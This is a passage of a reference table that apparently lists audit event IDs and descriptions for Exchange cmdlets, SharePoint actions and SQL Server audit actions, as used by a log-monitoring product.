Set-AddressBookPolicy Exchange cmdlet issued Exchange 25610 Set-App Exchange cmdlet issued Exchange 25611 Set-AuthConfig Exchange cmdlet issued Exchange 25612 Set-AuthServer Exchange cmdlet issued Exchange 25613 Set-ClassificationRuleCollection Exchange cmdlet issued Exchange 25614 Set-DlpPolicy Exchange cmdlet issued Exchange 25615 Set-FrontendTransportService Exchange cmdlet issued Exchange 25616 Set-HybridConfiguration Exchange cmdlet issued Exchange 25617 Set-HybridMailflow Exchange cmdlet issued Exchange 25618 Set-MailboxExportRequest Exchange cmdlet issued Exchange 25619 Set-MailboxImportRequest Exchange cmdlet issued Exchange 25620 Set-MailboxSearch Exchange cmdlet issued Exchange 25621 Set-MailboxTransportService Exchange cmdlet issued Exchange 25622 Set-MalwareFilteringServer Exchange cmdlet issued Exchange 25623 Set-MalwareFilterPolicy Exchange cmdlet issued Exchange 25624 Set-MigrationBatch Exchange cmdlet issued Exchange 25625 Set-MigrationConfig Exchange cmdlet issued Exchange 25626 Set-MigrationEndpoint Exchange cmdlet issued Exchange 25627 Set-MobileDeviceMailboxPolicy Exchange cmdlet issued Exchange 25628 Set-Notification Exchange cmdlet issued Exchange 25629 Set-OnPremisesOrganization Exchange cmdlet issued Exchange 25630 Set-PartnerApplication Exchange cmdlet issued Exchange 25631 Set-PendingFederatedDomain Exchange cmdlet issued Exchange 25632 Set-PolicyTipConfig Exchange cmdlet issued Exchange 25633 Set-PublicFolderMigrationRequest Exchange cmdlet issued Exchange 25634 Set-ResourcePolicy Exchange cmdlet issued Exchange 25635 Set-ResubmitRequest Exchange cmdlet issued Exchange 25636 Set-RMSTemplate Exchange cmdlet issued Exchange 25637 Set-ServerComponentState Exchange cmdlet issued Exchange 25638 Set-ServerMonitor Exchange cmdlet issued Exchange 25639 Set-SiteMailbox Exchange cmdlet issued Exchange 25640 Set-SiteMailboxProvisioningPolicy Exchange cmdlet issued Exchange 25641 Set-TransportService Exchange cmdlet issued Exchange 25642 Set-UMCallAnsweringRule Exchange cmdlet issued Exchange 25643 Set-UMCallRouterSettings Exchange cmdlet issued Exchange 25644 Set-UMService Exchange cmdlet issued Exchange 25645 Set-UserPhoto Exchange cmdlet issued Exchange 25646 Set-WorkloadPolicy Exchange cmdlet issued Exchange 25647 Start-MailboxSearch Exchange cmdlet issued Exchange 25648 Start-MigrationBatch Exchange cmdlet issued Exchange 25649 Stop-MailboxSearch Exchange cmdlet issued Exchange 25650 Stop-MigrationBatch Exchange cmdlet issued Exchange 25651 Suspend-MailboxExportRequest Exchange cmdlet issued Exchange 25652 Suspend-MailboxImportRequest Exchange cmdlet issued Exchange 25653 Suspend-PublicFolderMigrationRequest Exchange cmdlet issued Exchange 25654 Test-ArchiveConnectivity Exchange cmdlet issued Exchange 25655 Test-MigrationServerAvailability Exchange cmdlet issued Exchange 25656 Test-OAuthConnectivity Exchange cmdlet issued Exchange 25657 Test-SiteMailbox Exchange cmdlet issued Exchange 25658 Update-HybridConfiguration Exchange cmdlet issued Exchange 25659 Update-PublicFolderMailbox Exchange cmdlet issued Exchange 25660 Update-SiteMailbox Exchange cmdlet issued Exchange 25661 Add-AttachmentFilterEntry Exchange cmdlet issued Exchange 25662 Remove-AttachmentFilterEntry Exchange cmdlet issued Exchange 25663 New-AddressRewriteEntry Exchange cmdlet issued Exchange 25664 Remove-AddressRewriteEntry Exchange cmdlet issued Exchange 25665 Set-AddressRewriteEntry Exchange cmdlet issued Exchange 25666 Set-AttachmentFilterListConfig Exchange cmdlet issued Exchange 25667 Set-MailboxSentItemsConfiguration Exchange cmdlet issued Exchange 25668 Update-MovedMailbox Exchange cmdlet issued Exchange 25669 Disable-MalwareFilterRule Exchange cmdlet issued Exchange 25670 Enable-MalwareFilterRule Exchange cmdlet issued Exchange 25671 New-MalwareFilterRule Exchange cmdlet issued Exchange 25672 Remove-MalwareFilterRule Exchange cmdlet issued Exchange 25673 Set-MalwareFilterRule Exchange cmdlet issued Exchange 25674 Remove-MailboxRepairRequest Exchange cmdlet issued Exchange 25675 Remove-ServerMonitoringOverride Exchange cmdlet issued Exchange 25676 Update-ExchangeHelp Exchange cmdlet issued Exchange 25677 Update-StoreMailboxState Exchange cmdlet issued Exchange 25678 Disable-PushNotificationProxy Exchange cmdlet issued Exchange 25679 Enable-PushNotificationProxy Exchange cmdlet issued Exchange 25680 New-PublicFolderMoveRequest Exchange cmdlet issued Exchange 25681 Remove-PublicFolderMoveRequest Exchange cmdlet issued Exchange 25682 Resume-PublicFolderMoveRequest Exchange cmdlet issued Exchange 25683 Set-PublicFolderMoveRequest Exchange cmdlet issued Exchange 25684 Suspend-PublicFolderMoveRequest Exchange cmdlet issued Exchange 25685 Update-DatabaseSchema Exchange cmdlet issued Exchange 25686 Set-SearchDocumentFormat Exchange cmdlet issued Exchange 25687 New-AuthRedirect Exchange cmdlet issued Exchange 25688 New-CompliancePolicySyncNotification Exchange cmdlet issued Exchange 25689 New-ComplianceServiceVirtualDirectory Exchange cmdlet issued Exchange 25690 New-DatabaseAvailabilityGroupConfiguration Exchange cmdlet issued Exchange 25691 New-DataClassification Exchange cmdlet issued Exchange 25692 New-Fingerprint Exchange cmdlet issued Exchange 25693 New-IntraOrganizationConnector Exchange cmdlet issued Exchange 25694 New-MailboxDeliveryVirtualDirectory Exchange cmdlet issued Exchange 25695 New-MapiVirtualDirectory Exchange cmdlet issued Exchange 25696 New-OutlookServiceVirtualDirectory Exchange cmdlet issued Exchange 25697 New-RestVirtualDirectory Exchange cmdlet issued Exchange 25698 New-SearchDocumentFormat Exchange cmdlet issued Exchange 25699 New-SettingOverride Exchange cmdlet issued Exchange 25700 New-SiteMailbox Exchange cmdlet issued Exchange 25701 Remove-AuthRedirect Exchange cmdlet issued Exchange 25702 Remove-CompliancePolicySyncNotification Exchange cmdlet issued Exchange 25703 Remove-ComplianceServiceVirtualDirectory Exchange cmdlet issued Exchange 25704 Remove-DatabaseAvailabilityGroupConfiguration Exchange cmdlet issued Exchange 25705 Remove-DataClassification Exchange cmdlet issued Exchange 25706 Remove-IntraOrganizationConnector Exchange cmdlet issued Exchange 25707 Remove-MailboxDeliveryVirtualDirectory Exchange cmdlet issued Exchange 25708 Remove-MapiVirtualDirectory Exchange cmdlet issued Exchange 25709 Remove-OutlookServiceVirtualDirectory Exchange cmdlet issued Exchange 25710 Remove-PublicFolderMailboxMigrationRequest Exchange cmdlet issued Exchange 25711 Remove-PushNotificationSubscription Exchange cmdlet issued Exchange 25712 Remove-RestVirtualDirectory Exchange cmdlet issued Exchange 25713 Remove-SearchDocumentFormat Exchange cmdlet issued Exchange 25714 Remove-SettingOverride Exchange cmdlet issued Exchange 25715 Remove-SyncMailPublicFolder Exchange cmdlet issued Exchange 25716 Resume-PublicFolderMailboxMigrationRequest Exchange cmdlet issued Exchange 25717 Send-MapiSubmitSystemProbe Exchange cmdlet issued Exchange 25718 Set-AuthRedirect Exchange cmdlet issued Exchange 25719 Set-ClientAccessService Exchange cmdlet issued Exchange 25720 Set-Clutter Exchange cmdlet issued Exchange 25721 Set-ComplianceServiceVirtualDirectory Exchange cmdlet issued Exchange 25722 Set-ConsumerMailbox Exchange cmdlet issued Exchange 25723 Set-DatabaseAvailabilityGroupConfiguration Exchange cmdlet issued Exchange 25724 Set-DataClassification Exchange cmdlet issued Exchange 25725 Set-IntraOrganizationConnector Exchange cmdlet issued Exchange 25726 Set-LogExportVirtualDirectory Exchange cmdlet issued Exchange 25727 Set-MailboxDeliveryVirtualDirectory Exchange cmdlet issued Exchange 25728 Set-MapiVirtualDirectory Exchange cmdlet issued Exchange 25729 Set-OutlookServiceVirtualDirectory Exchange cmdlet issued Exchange 25730 Set-PublicFolderMailboxMigrationRequest Exchange cmdlet issued Exchange 25731 Set-RestVirtualDirectory Exchange cmdlet issued Exchange 25732 Set-SettingOverride Exchange cmdlet issued Exchange 25733 Set-SmimeConfig Exchange cmdlet issued Exchange 25734 Set-SubmissionMalwareFilteringServer Exchange cmdlet issued Exchange 25735 Set-UMMailboxConfiguration Exchange cmdlet issued Exchange 25736 Set-UnifiedAuditSetting Exchange cmdlet issued Exchange 25737 Start-AuditAssistant Exchange cmdlet issued Exchange 25738 Start-UMPhoneSession Exchange cmdlet issued Exchange 25739 Stop-UMPhoneSession Exchange cmdlet issued Exchange 25740 Test-DataClassification Exchange cmdlet issued Exchange 25741 Test-TextExtraction Exchange cmdlet issued SharePoint 11 Site collection audit policy changed SharePoint 12 Audit policy changed SharePoint 13 Document checked in SharePoint 14 Document checked out SharePoint 15 Child object deleted SharePoint 16 Child object moved SharePoint 17 Object copied SharePoint 18 Custom event SharePoint 19 Object deleted SharePoint 20 SharePoint audit logs deleted SharePoint 21 Object moved SharePoint 22 Object profile changed SharePoint 23 SharePoint object structure changed SharePoint 24 Search performed SharePoint 25 SharePoint group created SharePoint 26 SharePoint group deleted SharePoint 27 SharePoint group member added SharePoint 28 SharePoint group member removed SharePoint 29 Unique permissions created SharePoint 30 Unique permissions removed SharePoint 31 Permissions updated SharePoint 32 Permissions removed SharePoint 33 Unique permission levels created SharePoint 34 Permission level created SharePoint 35 Permission level deleted SharePoint 36 Permission level modified SharePoint 37 SharePoint site collection administrator added SharePoint 38 SharePoint site collection administrator removed SharePoint 39 Object restored SharePoint 40 Site collection updated SharePoint 41 Web updated SharePoint 42 Document library updated SharePoint 43 Document updated SharePoint 44 List updated SharePoint 45 List item updated SharePoint 46 Folder updated SharePoint 47 Document viewed SharePoint 48 Document library viewed SharePoint 49 List viewed SharePoint 50 Object viewed SharePoint 51 Workflow accessed SharePoint 52 Information management policy created SharePoint 53 Information management policy changed SharePoint 54 Site collection information management policy created SharePoint 55 Site collection information management policy changed SharePoint 56 Export of objects started SharePoint 57 Export of objects completed SharePoint 58 Import of objects started SharePoint 59 Import of objects completed SharePoint 60 Possible tampering warning SharePoint 61 Retention policy processed SharePoint 62 Document fragment updated SharePoint 63 Content type imported SharePoint 64 Information management policy deleted SharePoint 65 Item declared as a record SharePoint 66 Item undeclared as a record SharePoint 67 Netwrix SharePoint Audit Event SQL Server 24000 SQL audit event SQL Server 24001 Login succeeded (action_id LGIS) SQL Server 24002 Logout succeeded (action_id LGO) SQL Server 24003 Login failed (action_id LGIF) SQL Server 24004 Change own password succeeded (action_id PWCS; class_type LX) SQL Server 24005 Change own password failed (action_id PWCS; class_type LX) SQL Server 24006 Change password succeeded (action_id PWC class_type LX) SQL Server 24007 Change password failed (action_id PWC class_type LX) SQL Server 24008 Reset own password succeeded (action_id PWRS; class_type LX) SQL Server 24009 Reset own password failed (action_id PWRS; class_type LX) SQL Server 24010 Reset password succeeded (action_id PWR; class_type LX) SQL Server 24011 Reset password failed (action_id PWR; class_type LX) SQL Server 24012 Must change password (action_id PWMC) SQL Server 24013 Account unlocked (action_id PWU) SQL Server 24014 Change application role password succeeded (action_id PWC; class_type AR) SQL Server 24015 Change application role password failed (action_id PWC class_type AR) SQL Server 24016 Add member to server role succeeded (action_id APRL class_type SG) SQL Server 24017 Add member to server role failed (action_id APRL class_type SG) SQL Server 24018 Remove member from server role succeeded (action_id DPRL class_type SG) SQL Server 24019 Remove member from server role failed (action_id DPRL class_type SG) SQL Server 24020 Add member to database role succeeded (action_id APRL class_type RL) SQL Server 24021 Add member to database role failed (action_id APRL class_type RL) SQL Server 24022 Remove member from database role succeeded (action_id DPRL class_type RL) SQL Server 24023 Remove member from database role failed (action_id DPRL class_type RL) SQL Server 24024 Issued database backup command (action_id BA class_type DB) SQL Server 24025 Issued transaction log backup command (action_id BAL) SQL Server 24026 Issued database restore command (action_id RS class_type DB) SQL Server 24027 Issued transaction log restore command (action_id RS class_type DB) SQL Server 24028 Issued database console command (action_id DBCC) SQL Server 24029 Issued a bulk administration command (action_id ADBO) SQL Server 24030 Issued an alter connection command (action_id ALCN) SQL Server 24031 Issued an alter resources command (action_id ALRS) SQL Server 24032 Issued an alter server state command (action_id ALSS) SQL Server 24033 Issued an alter server settings command (action_id ALST) SQL Server 24034 Issued a view server state command (action_id VSST) SQL Server 24035 Issued an external access assembly command (action_id XA) SQL Server 24036 Issued an unsafe assembly command (action_id XU) SQL Server 24037 Issued an alter resource governor command (action_id ALRS class_type RG) SQL Server 24038 Issued a database authenticate command (action_id AUTH) SQL Server 24039 Issued a database checkpoint command (action_id CP) SQL Server 24040 Issued a database show plan command (action_id SPLN) SQL Server 24041 Issued a subscribe to query information command (action_id SUQN) SQL Server 24042 Issued a view database state command (action_id VDST) SQL Server 24043 Issued a change server audit command (action_id AL class_type A) SQL Server 24044 Issued a change server audit specification command (action_id AL class_type SA) SQL Server 24045 Issued a change database audit specification command (action_id AL class_type DA) SQL Server 24046 Issued a create server audit command (action_id CR class_type A) SQL Server 24047 Issued a create server audit specification command (action_id CR class_type SA) SQL Server 24048 Issued a create database audit specification command (action_id CR class_type DA) SQL Server 24049 Issued a delete server audit command (action_id DR class_type A) SQL Server 24050 Issued a delete server audit specification command (action_id DR class_type SA) SQL Server 24051 Issued a delete database audit specification command (action_id DR class_type DA) SQL Server 24052 Audit failure (action_id AUSF) SQL Server 24053 Audit session changed (action_id AUSC) SQL Server 24054 Started SQL server (action_id SVSR) SQL Server 24055 Paused SQL server (action_id SVPD) SQL Server 24056 Resumed SQL server (action_id SVCN) SQL Server 24057 Stopped SQL server (action_id SVSD) SQL Server 24058 Issued a create server object command (action_id CR; class_type AG, EP, SD, SE, T) SQL Server 24059 Issued a change server object command (action_id AL; class_type AG, EP, SD, SE, T) SQL Server 24060 Issued a delete server object command (action_id DR; class_type AG, EP, SD, SE, T) SQL Server 24061 Issued a create server setting command (action_id CR class_type SR) SQL Server 24062 Issued a change server setting command (action_id AL class_type SR) SQL Server 24063 Issued a delete server setting command (action_id DR class_type SR) SQL Server 24064 Issued a create server cryptographic provider command (action_id CR class_type CP) SQL Server 24065 Issued a delete server cryptographic provider command (action_id DR class_type CP) SQL Server 24066 Issued a change server cryptographic provider command (action_id AL class_type CP) SQL Server 24067 Issued a create server credential command (action_id CR class_type CD) SQL Server 24068 Issued a delete server credential command (action_id DR class_type CD) SQL Server 24069 Issued a change server credential command (action_id AL class_type CD) SQL Server 24070 Issued a change server master key command (action_id AL class_type MK) SQL Server 24071 Issued a back up server master key command (action_id BA class_type MK) SQL Server 24072 Issued a restore server master key command (action_id RS class_type MK) SQL Server 24073 Issued a map server credential to login command (action_id CMLG) SQL Server 24074 Issued a remove map between server credential and login command (action_id NMLG) SQL Server 24075 Issued a create server principal command (action_id CR class_type LX, SL) SQL Server 24076 Issued a delete server principal command (action_id DR class_type LX, SL) SQL Server 24077 Issued a change server principal credentials command (action_id CCLG) SQL Server 24078 Issued a disable server principal command (action_id LGDA) SQL Server 24079 Issued a change server principal default database command (action_id LGDB) SQL Server 24080 Issued an enable server principal command (action_id LGEA) SQL Server 24081 Issued a change server principal default language command (action_id LGLG) SQL Server 24082 Issued a change server principal password expiration command (action_id PWEX) SQL Server 24083 Issued a change server principal password policy command (action_id PWPL) SQL Server 24084 Issued a change server principal name command (action_id LGNM) SQL Server 24085 Issued a create database command (action_id CR class_type DB) SQL Server 24086 Issued a change database command (action_id AL class_type DB) SQL Server 24087 Issued a delete database command (action_id DR class_type DB) SQL Server 24088 Issued a create certificate command (action_id CR class_type CR) SQL Server 24089 Issued a change certificate command (action_id AL class_type CR) SQL Server 24090 Issued a delete certificate command (action_id DR class_type CR) SQL Server 24091 Issued a back up certificate command (action_id BA class_type CR) SQL Server 24092 Issued an access certificate command (action_id AS class_type CR) SQL Server 24093 Issued a create asymmetric key command (action_id CR class_type AK) SQL Server 24094 Issued a change asymmetric key command (action_id AL class_type AK) SQL Server 24095 Issued a delete asymmetric key command (action_id DR class_type AK) SQL Server 24096 Issued an access asymmetric key command (action_id AS class_type AK) SQL Server 24097 Issued a create database master key command (action_id CR class_type MK) SQL Server 24098 Issued a change database master key command (action_id AL class_type MK) SQL Server 24099 Issued a delete database master key command (action_id DR class_type MK) SQL Server 24100 Issued a back up database master key command (action_id BA class_type MK) SQL Server 24101 Issued a restore database master key command (action_id RS class_type MK) SQL Server 24102 Issued an open database master key command (action_id OP class_type MK) SQL Server 24103 Issued a create database symmetric key command (action_id CR class_type SK) SQL Server 24104 Issued a change database symmetric key command (action_id AL class_type SK) SQL Server 24105 Issued a delete database symmetric key command (action_id DR class_type SK) SQL Server 24106 Issued a back up database symmetric key command (action_id BA class_type SK) SQL Server 24107 Issued an open database symmetric key command (action_id OP class_type SK) SQL Server 24108 Issued a create database object command (action_id CR) SQL Server 24109 Issued a change database object command (action_id AL) SQL Server 24110 Issued a delete database object command (action_id DR) SQL Server 24111 Issued an access database object command (action_id AS) SQL Server 24112 Issued a create assembly command (action_id CR class_type AS) SQL Server 24113 Issued a change assembly command (action_id AL class_type AS) SQL Server 24114 Issued a delete assembly command (action_id DR class_type AS) SQL Server 24115 Issued a create schema command (action_id CR class_type SC) SQL Server 24116 Issued a change schema command (action_id AL class_type SC) SQL Server 24117 Issued a delete schema command (action_id DR class_type SC) SQL Server 24118 Issued a create database encryption key command (action_id CR class_type DK) SQL Server 24119 Issued a change database encryption key command (action_id AL class_type DK) SQL Server 24120 Issued a delete database encryption key command (action_id DR class_type DK) SQL Server 24121 Issued a create database user command (action_id CR; class_type US) SQL Server 24122 Issued a change database user command (action_id AL; class_type US) SQL Server 24123 Issued a delete database user command (action_id DR; class_type US) SQL Server 24124 Issued a create database role command (action_id CR class_type RL) SQL Server 24125 Issued a change database role command (action_id AL class_type RL) SQL Server 24126 Issued a delete database role command (action_id DR class_type RL) SQL Server 24127 Issued a create application role command (action_id CR class_type AR) SQL Server 24128 Issued a change application role command (action_id AL class_type AR) SQL Server 24129 Issued a delete application role command (action_id DR class_type AR) SQL Server 24130 Issued a change database user login command (action_id USAF) SQL Server 24131 Issued an auto-change database user login command (action_id USLG) SQL Server 24132 Issued a create schema object command (action_id CR class_type D) SQL Server 24133 Issued a change schema object command (action_id AL class_type D) SQL Server 24134 Issued a delete schema object command (action_id DR class_type D) SQL Server 24135 Issued a transfer schema object command (action_id TRO class_type D) SQL Server 24136 Issued a create schema type command (action_id CR class_type TY) SQL Server 24137 Issued a change schema type command (action_id AL class_type TY) SQL Server 24138 Issued a delete schema type command (action_id DR class_type TY) SQL Server 24139 Issued a transfer schema type command (action_id TRO class_type TY) SQL Server 24140 Issued a create XML schema collection command (action_id CR class_type SX) SQL Server 24141 Issued a change XML schema collection command (action_id AL class_type SX) SQL Server 24142 Issued a delete XML schema collection command (action_id DR class_type SX) SQL Server 24143 Issued a transfer XML schema collection command (action_id TRO class_type SX) SQL Server 24144 Issued an impersonate within server scope command (action_id IMP; class_type LX) SQL Server 24145 Issued an impersonate within database scope command (action_id IMP; class_type US) SQL Server 24146 Issued a change server object owner command (action_id TO class_type SG) SQL Server 24147 Issued a change database owner command (action_id TO class_type DB) SQL Server 24148 Issued a change schema owner command (action_id TO class_type SC) SQL Server 24150 Issued a change role owner command (action_id TO class_type RL) SQL Server 24151 Issued a change database object owner command (action_id TO) SQL Server 24152 Issued a change symmetric key owner command (action_id TO class_type SK) SQL Server 24153 Issued a change certificate owner command (action_id TO class_type CR) SQL Server 24154 Issued a change asymmetric key owner command (action_id TO class_type AK) SQL Server 24155 Issued a change schema object owner command (action_id TO class_type OB) SQL Server 24156 Issued a change schema type owner command (action_id TO class_type TY) SQL Server 24157 Issued a change XML schema collection owner command (action_id TO class_type SX) SQL Server 24158 Grant server permissions succeeded (action_id G class_type SR) SQL Server 24159 Grant server permissions failed (action_id G class_type SR) SQL Server 24160 Grant server permissions with grant succeeded (action_id GWG class_type SR) SQL Server 24161 Grant server permissions with grant failed (action_id GWG class_type SR) SQL Server 24162 Deny server permissions succeeded (action_id D class_type SR) SQL Server 24163 Deny server permissions failed (action_id D class_type SR) SQL Server 24164 Deny server permissions with cascade succeeded (action_id DWC class_type SR) SQL Server 24165 Deny server permissions with cascade failed (action_id DWC class_type SR) SQL Server 24166 Revoke server permissions succeeded (action_id R class_type SR) SQL Server 24167 Revoke server permissions failed (action_id R class_type SR) SQL Server 24168 Revoke server permissions with grant succeeded (action_id RWG class_type SR) SQL Server 24169 Revoke server permissions with grant failed (action_id RWG class_type SR) SQL Server 24170 Revoke server permissions with cascade succeeded (action_id RWC class_type SR) SQL Server 24171 Revoke server permissions with cascade failed (action_id RWC class_type SR) SQL Server 24172 Issued grant server object permissions command (action_id G; class_type LX) SQL Server 24173 Issued grant server object permissions with grant command (action_id GWG; class_type LX) SQL Server 24174 Issued deny server object permissions command (action_id D; class_type LX) SQL Server 24175 Issued deny server object permissions with cascade command (action_id DWC; class_type LX) SQL Server 24176 Issued revoke server object permissions command (action_id R; class_type LX) SQL Server 24177 Issued revoke server object permissions with grant command (action_id; RWG class_type LX) SQL Server 24178 Issued revoke server object permissions with cascade command (action_id RWC; class_type LX) SQL Server 24179 Grant database permissions succeeded (action_id G class_type DB) SQL Server 24180 Grant database permissions failed (action_id G class_type DB) SQL Server 24181 Grant database permissions with grant succeeded (action_id GWG class_type DB) SQL Server 24182 Grant database permissions with grant failed (action_id GWG class_type DB) SQL Server 24183 Deny database permissions succeeded (action_id D class_type DB) SQL Server 24184 Deny database permissions failed (action_id D class_type DB) SQL Server 24185 Deny database permissions with cascade succeeded (action_id DWC class_type DB) SQL Server 24186 Deny database permissions with cascade failed (action_id DWC class_type DB) SQL Server 24187 Revoke database permissions succeeded (action_id R class_type DB) SQL Server 24188 Revoke database permissions failed (action_id R class_type DB) SQL Server 24189 Revoke database permissions with grant succeeded (action_id RWG class_type DB) SQL Server 24190 Revoke database permissions with grant failed (action_id RWG class_type DB) SQL Server 24191 Revoke database permissions with cascade succeeded (action_id RWC class_type DB) SQL Server 24192 Revoke database permissions with cascade failed (action_id RWC class_type DB) SQL Server 24193 Issued grant database object permissions command (action_id G class_type US) SQL Server 24194 Issued grant database object permissions with grant command (action_id GWG; class_type US) SQL Server 24195 Issued deny database object permissions command (action_id D; class_type US) SQL Server 24196 Issued deny database object permissions with cascade command (action_id DWC; class_type US) SQL Server 24197 Issued revoke database object permissions command (action_id R; class_type US) SQL Server 24198 Issued revoke database object permissions with grant command (action_id RWG; class_type US) SQL Server 24199 Issued revoke database object permissions with cascade command (action_id RWC; class_type US) SQL Server 24200 Issued grant schema permissions command (action_id G class_type SC) SQL Server 24201 Issued grant schema permissions with grant command (action_id GWG class_type SC) SQL Server 24202 Issued deny schema permissions command (action_id D class_type SC) SQL Server 24203 Issued deny schema permissions with cascade command (action_id DWC class_type SC) SQL Server 24204 Issued revoke schema permissions command (action_id R class_type SC) SQL Server 24205 Issued revoke schema permissions with grant command (action_id RWG class_type SC) SQL Server 24206 Issued revoke schema permissions with cascade command (action_id RWC class_type SC) SQL Server 24207 Issued grant assembly permissions command (action_id G class_type AS) SQL Server 24208 Issued grant assembly permissions with grant command (action_id GWG class_type AS) SQL Server 24209 Issued deny assembly permissions command (action_id D class_type AS) SQL Server 24210 Issued deny assembly permissions with cascade command (action_id DWC class_type AS) SQL Server 24211 Issued revoke assembly permissions command (action_id R class_type AS) SQL Server 24212 Issued revoke assembly permissions with grant command (action_id RWG class_type AS) SQL Server 24213 Issued revoke assembly permissions with cascade command (action_id RWC class_type AS) SQL Server 24214 Issued grant database role permissions command (action_id G class_type RL) SQL Server 24215 Issued grant database role permissions with grant command (action_id GWG class_type RL) SQL Server 24216 Issued deny database role permissions command (action_id D class_type RL) SQL Server 24217 Issued deny database role permissions with cascade command (action_id DWC class_type RL) SQL Server 24218 Issued revoke database role permissions command (action_id R class_type RL) SQL Server 24219 Issued revoke database role permissions with grant command (action_id RWG class_type RL) SQL Server 24220 Issued revoke database role permissions with cascade command (action_id RWC class_type RL) SQL Server 24221 Issued grant application role permissions command (action_id G class_type AR) SQL Server 24222 Issued grant application role permissions with grant command (action_id GWG class_type AR) SQL Server 24223 Issued deny application role permissions command (action_id D class_type AR) SQL Server 24224 Issued deny application role permissions with cascade command (action_id DWC class_type AR) SQL Server 24225 Issued revoke application role permissions command (action_id R class_type AR) SQL Server 24226 Issued revoke application role permissions with grant command (action_id RWG class_type AR) SQL Server 24227 Issued revoke application role permissions with cascade command (action_id RWC class_type AR) SQL Server 24228 Issued grant symmetric key permissions command (action_id G class_type SK) SQL Server 24229 Issued grant symmetric key permissions with grant command (action_id GWG class_type SK) SQL Server 24230 Issued deny symmetric key permissions command (action_id D class_type SK) SQL Server 24231 Issued deny symmetric key permissions with cascade command (action_id DWC class_type SK) SQL Server 24232 Issued revoke symmetric key permissions command (action_id R class_type SK) SQL Server 24233 Issued revoke symmetric key permissions with grant command (action_id RWG class_type SK) SQL Server 24234 Issued revoke symmetric key permissions with cascade command (action_id RWC class_type SK) SQL Server 24235 Issued grant certificate permissions command (action_id G class_type CR) SQL Server 24236 Issued grant certificate permissions with grant command (action_id GWG class_type CR) SQL Server 24237 Issued deny certificate permissions command (action_id D class_type CR) SQL Server 24238 Issued deny certificate permissions with cascade command (action_id DWC class_type CR) SQL Server 24239 Issued revoke certificate permissions command (action_id R class_type CR) SQL Server 24240 Issued revoke certificate permissions with grant command (action_id RWG class_type CR) SQL Server 24241 Issued revoke certificate permissions with cascade command (action_id RWC class_type CR) SQL Server 24242 Issued grant asymmetric key permissions command (action_id G class_type AK) SQL Server 24243 Issued grant asymmetric key permissions with grant command (action_id GWG class_type AK) SQL Server 24244 Issued deny asymmetric key permissions command (action_id D class_type AK) SQL Server 24245 Issued deny asymmetric key permissions with cascade command (action_id DWC class_type AK) SQL Server 24246 Issued revoke asymmetric key permissions command (action_id R class_type AK) SQL Server 24247 Issued revoke asymmetric key permissions with grant command (action_id RWG class_type AK) SQL Server 24248 Issued revoke asymmetric key permissions with cascade command (action_id RWC class_type AK) SQL Server 24249 Issued grant schema object permissions command (action_id G class_type OB) SQL Server 24250 Issued grant schema object permissions with grant command (action_id GWG class_type OB) SQL Server 24251 Issued deny schema object permissions command (action_id D class_type OB) SQL Server 24252 Issued deny schema object permissions with cascade command (action_id DWC class_type OB) SQL Server 24253 Issued revoke schema object permissions command (action_id R class_type OB) SQL Server 24254 Issued revoke schema object permissions with grant command (action_id RWG class_type OB) SQL Server 24255 Issued revoke schema object permissions with cascade command (action_id RWC class_type OB) SQL Server 24256 Issued grant schema type permissions command (action_id G class_type TY) SQL Server 24257 Issued grant schema type permissions with grant command (action_id GWG class_type TY) SQL Server 24258 Issued deny schema type permissions command (action_id D class_type TY) SQL Server 24259 Issued deny schema type permissions with cascade command (action_id DWC class_type TY) SQL Server 24260 Issued revoke schema type permissions command (action_id R class_type TY) SQL Server 24261 Issued revoke schema type permissions with grant command (action_id RWG class_type TY) SQL Server 24262 Issued revoke schema type permissions with cascade command (action_id RWC class_type TY) SQL Server 24263 Issued grant XML schema collection permissions command (action_id G class_type SX) SQL Server 24264 Issued grant XML schema collection permissions with grant command (action_id GWG class_type SX) SQL Server 24265 Issued deny XML schema collection permissions command (action_id D class_type SX) SQL Server 24266 Issued deny XML schema collection permissions with cascade command (action_id DWC class_type SX) SQL Server 24267 Issued revoke XML schema collection permissions command (action_id R class_type SX) SQL Server 24268 Issued revoke XML schema collection permissions with grant command (action_id RWG class_type SX) SQL Server 24269 Issued revoke XML schema collection permissions with cascade command (action_id RWC class_type SX) SQL Server 24270 Issued reference database object permissions command (action_id RF) SQL Server 24271 Issued send service request command (action_id SN) SQL Server 24272 Issued check permissions with schema command (action_id VWCT) SQL Server 24273 Issued use service broker transport security command (action_id LGB) SQL Server 24274 Issued use database mirroring transport security command (action_id LGM) SQL Server 24275 Issued alter trace command (action_id ALTR) SQL Server 24276 Issued start trace command (action_id TASA) SQL Server 24277 Issued stop trace command (action_id TASP) SQL Server 24278 Issued enable trace C2 audit mode command (action_id C2ON) SQL Server 24279 Issued disable trace C2 audit mode command (action_id C2OF) SQL Server 24280 Issued server full-text command (action_id FT) SQL Server 24281 Issued select command (action_id SL) SQL Server 24282 Issued update command (action_id UP) SQL Server 24283 Issued insert command (action_id IN) SQL Server 24284 Issued delete command (action_id DL) SQL Server 24285 Issued execute command (action_id EX) SQL Server 24286 Issued receive command (action_id RC) SQL Server 24287 Issued check references command (action_id RF) SQL Server 24288 Issued a create user-defined server role command (action_id CR class_type SG) SQL Server 24289 Issued a change user-defined server role command (action_id AL class_type SG) SQL Server 24290 Issued a delete user-defined server role command (action_id DR class_type SG) SQL Server 24291 Issued grant user-defined server role permissions command (action_id G class_type SG) SQL Server 24292 Issued grant user-defined server role permissions with grant command (action_id GWG class_type SG) SQL Server 24293 Issued deny user-defined server role permissions command (action_id D class_type SG) SQL Server 24294 Issued deny user-defined server role permissions with cascade command (action_id DWC class_type SG) SQL Server 24295 Issued revoke user-defined server role permissions command (action_id R class_type SG) SQL Server 24296 Issued revoke user-defined server role permissions with grant command (action_id RWG class_type SG) SQL Server 24297 Issued revoke user-defined server role permissions with cascade command (action_id RWC class_type SG) SQL Server 24298 Database login succeeded (action_id DBAS) SQL Server 24299 Database login failed (action_id DBAF) SQL Server 24300 Database logout successful (action_id DAGL) SQL Server 24301 Change password succeeded (action_id PWC; class_type US) SQL Server 24302 Change password failed (action_id PWC; class_type US) SQL Server 24303 Change own password succeeded (action_id PWCS; class_type US) SQL Server 24304 Change own password failed (action_id PWCS; class_type US) SQL Server 24305 Reset own password succeeded (action_id PWRS; class_type US) SQL Server 24306 Reset own password failed (action_id PWRS; class_type US) SQL Server 24307 Reset password succeeded (action_id PWR; class_type US) SQL Server 24308 Reset password failed (action_id PWR; class_type US) SQL Server 24309 Copy password (action_id USTC) SQL Server 24310 User-defined SQL audit event (action_id UDAU) SQL Server 24311 Issued a change database audit command (action_id AL class_type DU) SQL Server 24312 Issued a create database audit command (action_id CR class_type DU) SQL Server 24313 